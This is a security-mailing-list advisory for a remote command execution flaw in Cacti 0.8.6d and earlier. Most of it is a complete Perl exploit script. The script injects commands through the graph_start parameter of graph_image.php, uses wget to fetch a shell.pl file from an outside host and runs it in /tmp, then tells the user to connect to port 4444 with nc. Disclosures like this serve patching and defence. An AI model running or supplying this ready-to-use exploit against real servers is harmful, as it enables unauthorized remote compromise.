[EXPL] Cacti Remote Code Execution Vulnerability (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Cacti Remote Code Execution Vulnerability (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://www.rrdtool.org/> Cacti's goal is to be a complete front-end to 
rrdtool, storing all of the necessary information to create graphs and 
populate them with data in a MySQL database."

A remote execution vulnerability was found with Cacti that allow attackers 
to execute arbitrary code on  Cacti's server.

DETAILS

Vulnerable Systems:
 * Cacti version 0.8.6d and prior

Exploit:
#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting --> http://www.example.com/cacti/graph_image.php? 
local_graph_id= [valid_value]&graph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t=      by Alberto Trivero     =\n";
print "\t===============================\n\n";

if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
   print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0 
www.example.com /cacti/\n";
   exit(0);
}

$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die 
"[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for 
local_graph_id";
print "[~] Sending exploiting request, wait for some 
seconds/minutes...\n";
get("http://" . $ARGV[0] . $ARGV[1] . "graph_image.php?local_graph_id=$1" 
 "&graph_start=%0acd /tmp;wget 
http://albythebest.altervista.org/shell.pl;chmod 777 shell.pl;perl 
shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";

#EOF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:[email protected]> Alberto 
Trivero.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] 
In order to subscribe to the mailing list, simply forward this email to: [email protected] 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.